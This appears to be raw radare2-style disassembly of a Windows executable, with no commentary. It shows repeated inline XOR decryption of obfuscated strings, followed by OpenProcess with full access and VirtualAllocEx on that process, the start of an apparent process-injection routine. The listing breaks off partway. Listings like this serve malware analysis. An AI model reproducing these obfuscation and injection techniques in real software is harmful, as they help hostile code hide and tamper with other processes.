call fcn.140052040
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a8], xmm0
mov qword [rbp + 0x4b8], rbx
mov qword [rbp + 0x4c0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4a8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4b8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rbp + 0x620]
lea r8, [rbp + 0x4a8]
lea rcx, [rbp + 0x1478]
call fcn.14005c860
nop
mov rdx, qword [rbp + 0x4c0]
cmp rdx, 7
jbe 0x14002aba8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002aba3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb2d
call fcn.1400626b0
mov qword [rbp + 0x4b8], rbx
mov qword [rbp + 0x4c0], 7
mov word [rbp + 0x4a8], bx
mov rdx, qword [rbp + 0x878]
cmp rdx, 7
jbe 0x14002ac07
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x860]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ac02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb33
call fcn.1400626b0
mov qword [rbp + 0x870], rbx
mov qword [rbp + 0x878], 7
mov word [rbp + 0x860], bx
mov rdx, qword [rbp + 0x460]
cmp rdx, 7
jbe 0x14002ac66
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x448]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ac61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb39
call fcn.1400626b0
mov qword [rbp + 0x458], rbx
mov qword [rbp + 0x460], 7
mov word [rbp + 0x448], bx
mov rdx, qword [rbp + 0x6b8]
cmp rdx, 7
jbe 0x14002acc5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002acc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb3f
call fcn.1400626b0
mov qword [rbp + 0x6b0], rbx
mov qword [rbp + 0x6b8], 7
mov word [rbp + 0x6a0], bx
mov rdx, qword [rbp + 0x658]
cmp rdx, 7
jbe 0x14002ad24
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x640]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ad1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb45
call fcn.1400626b0
mov qword [rbp + 0x650], rbx
mov qword [rbp + 0x658], 7
mov word [rbp + 0x640], bx
mov rdx, qword [rbp + 0x638]
cmp rdx, 7
jbe 0x14002ad83
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ad7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb4b
call fcn.1400626b0
mov qword [rbp + 0x630], rbx
mov qword [rbp + 0x638], 7
mov word [rbp + 0x620], bx
lea rcx, [rbp + 0x1478]
cmp qword [rbp + 0x1490], 7
cmova rcx, qword [rbp + 0x1478]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002edbe
lea rdx, [rbp + 0x1478]
lea rcx, [rbp + 0x1498]
call fcn.1400149f0
nop
lea rcx, [rbp + 0x1498]
call fcn.1400522e0
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.140005500
nop
lea rcx, [rbp + 0x1010]
call fcn.140016f70
movzx edi, al
lea rcx, [rbp + 0x1010]
call fcn.1400523c0
test dil, dil
je 0x14002ebb6
movups xmm0, xmmword [str.dPDZQJIRSSM]
movups xmmword [rbp + 0xa28], xmm0
movups xmm1, xmmword [0x14009b9b0]
movups xmmword [rbp + 0xa38], xmm1
mov r8d, ebx
cmp r12d, 2
jl 0x14002af53
mov edx, ebx
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0xa28]
mov r8d, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x20
jl 0x14002ae60
jmp 0x14002af89
lea r9, [rbp + 0xa28]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14002af60
lea rdx, [rbp + 0xa28]
lea rcx, [rbp + 0x1030]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x1030]
mov r15, qword [rbp + 0x228]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0x1030]
call fcn.1400523c0
lea rdx, [rbp + 0x1498]
lea rcx, [rbp + 0x1050]
call fcn.140058f00
nop
lea rcx, [rbp + 0x1050]
call fcn.140004f00
movzx edi, al
lea rcx, [rbp + 0x1050]
call fcn.140003dc0
test dil, dil
jne 0x14002b1e9
movups xmm0, xmmword [0x14009c7e0]
movups xmmword [rbp + 0xb18], xmm0
movups xmm1, xmmword [0x14009c7f0]
movups xmmword [rbp + 0xb28], xmm1
movups xmm0, xmmword [0x14009c800]
movups xmmword [rbp + 0xb38], xmm0
movsd xmm0, qword [0x14009c810]
movsd qword [rbp + 0xb48], xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0xb50], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002b16a
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0xb18]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x38
jl 0x14002b070
cmp r8d, 0x39
jge 0x14002b1b3
movsxd rax, r8d
lea r9, [rbp + 0xb18]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14002b180
lea rdx, [rbp + 0xb18]
lea rcx, [rbp + 0x1070]
call fcn.140005500
nop
mov r8d, 0xff
lea rdx, [rbp + 0x1070]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0x1070]
call fcn.1400523c0
mov edx, dword [0x14009c870]
movups xmm2, xmmword [0x14009c860]
mov dword [rbp + 0x90], edx
movups xmmword [rbp + 0x80], xmm2
mov r8d, ebx
cmp r12d, 2
jl 0x14002b43e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x80], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x84]
xorps xmm2, xmm1
movd dword [rbp + 0x84], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x88]
xorps xmm2, xmm1
movd dword [rbp + 0x88], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8c]
xorps xmm2, xmm1
movd dword [rbp + 0x8c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
jmp 0x14002b479
lea r9, [rbp + 0x80]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14002b450
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1090]
call fcn.140005500
nop
mov r8d, 0xffff
lea rdx, [rbp + 0x1090]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0x1090]
call fcn.1400523c0
mov r8d, 0x104
lea rdx, [rbp + 0x1740]
mov rcx, qword [0x1400afac0]
call qword [sym.imp.USER32.dll_GetWindowTextW]
movups xmm0, xmmword [str.dGYT_JIerSZzaB]
movups xmmword [rbp + 0x1430], xmm0
movq xmm0, qword [0x14009c620]
movsd qword [rbp + 0x1440], xmm0
mov eax, dword [0x14009c628]
mov dword [rbp + 0x1448], eax
movzx eax, word [0x14009c62c]
mov word [rbp + 0x144c], ax
lea rdx, [rbp + 0x1740]
lea rcx, [rbp + 0x11b8]
call fcn.140052170
mov r10, rax
cmp word [rbp + 0x144c], 0
je 0x14002b6d7
mov r8d, ebx
cmp r12d, 2
jl 0x14002b68b
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1430]
xorps xmm3, xmm0
movq qword [rbp + 0x1430], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1438]
xorps xmm3, xmm0
movq qword [rbp + 0x1438], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1440]
xorps xmm3, xmm0
movq qword [rbp + 0x1440], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x1430]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xf
jl 0x14002b6a0
mov r8, r10
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x1198]
call fcn.140058dc0
nop
lea r8, [0x14009a3ac]
mov rdx, rax
lea rcx, [rbp + 0x14f0]
call fcn.140058a30
nop
lea rcx, [rbp + 0x1198]
call fcn.140003dc0
nop
lea rcx, [rbp + 0x11b8]
call fcn.140003dc0
mov r8d, 0xff00
lea rdx, [rbp + 0x14f0]
mov rcx, r15
call fcn.140005c90
lea rcx, [rbp + 0x1740]
call fcn.140017c30
lea rcx, [rbp + 0x1740]
call fcn.140017c30
mov edi, eax
mov dword [rsp + 0x48], eax
test eax, eax
je 0x14002e694
movups xmm0, xmmword [str.dGYT_JIeuy]
movups xmmword [rbp + 0x1410], xmm0
movq xmm0, qword [0x14009dea8]
movsd qword [rbp + 0x1420], xmm0
movzx ecx, word [0x14009deb0]
mov word [rbp + 0x1428], cx
mov edx, eax
lea rcx, [rbp + 0x11f8]
call fcn.1400036f0
mov r10, rax
cmp word [rbp + 0x1428], 0
je 0x14002b957
mov r8d, ebx
cmp r12d, 2
jl 0x14002b90a
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1410]
xorps xmm3, xmm0
movq qword [rbp + 0x1410], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1418]
xorps xmm3, xmm0
movq qword [rbp + 0x1418], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1420]
xorps xmm3, xmm0
movq qword [rbp + 0x1420], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x1410]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x14002b920
mov r8, r10
lea rdx, [rbp + 0x1410]
lea rcx, [rbp + 0x11d8]
call fcn.140058dc0
nop
lea r8, [0x14009aab8]
mov rdx, rax
lea rcx, [rbp + 0x1510]
call fcn.140058a30
nop
lea rcx, [rbp + 0x11d8]
call fcn.140003dc0
nop
lea rcx, [rbp + 0x11f8]
call fcn.140003dc0
mov r8d, 0xff00
lea rdx, [rbp + 0x1510]
mov rcx, r15
call fcn.140005c90
movups xmm2, xmmword [str.bDCMXVzPQQ_]
movups xmmword [rbp + 0x1b8], xmm2
movsd xmm0, qword [str.74_GAL]
movsd qword [rbp + 0x1c8], xmm0
movzx eax, byte [0x14009c890]
mov byte [rbp + 0x1d0], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002bc8e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1b8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1bc]
xorps xmm2, xmm1
movd dword [rbp + 0x1bc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c0]
xorps xmm2, xmm1
movd dword [rbp + 0x1c0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c4]
xorps xmm2, xmm1
movd dword [rbp + 0x1c4], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c8]
xorps xmm2, xmm1
movd dword [rbp + 0x1c8], xmm2
movdqa xmm2, xmmword [0x14009e3d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1cc]
xorps xmm2, xmm1
movd dword [rbp + 0x1cc], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14002bca0
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x10b0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x10b0]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0x10b0]
call fcn.1400523c0
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov qword [rbp - 0x80], rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14002e2d1
lea rdx, [rbp + 0x1498]
lea rcx, [rbp + 0x14b8]
call fcn.140014c60
nop
lea rcx, [rbp + 0x14b8]
call fcn.140052030
mov qword [rsp + 0x50], rax
mov r8, qword [rbp + 0x14c8]
lea r8, [r8*2 + 2]
mov dword [rsp + 0x20], r14d
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x14002bf34
lea rdx, [rbp + 0x1168]
call fcn.14002fc30
mov r9, rax
cmp byte [rax + 0xe], 0
je 0x14002f82d
cmp r12d, 2
jl 0x14002beef
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
mov ebx, esi
mov r8d, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xf
jge 0x14002f82d
jmp 0x14002bf00
movups xmm2, xmmword [str.bDCMXVzPQQ_]
movups xmmword [rbp + 0x178], xmm2
movsd xmm0, qword [str.74_GAL]
movsd qword [rbp + 0x188], xmm0
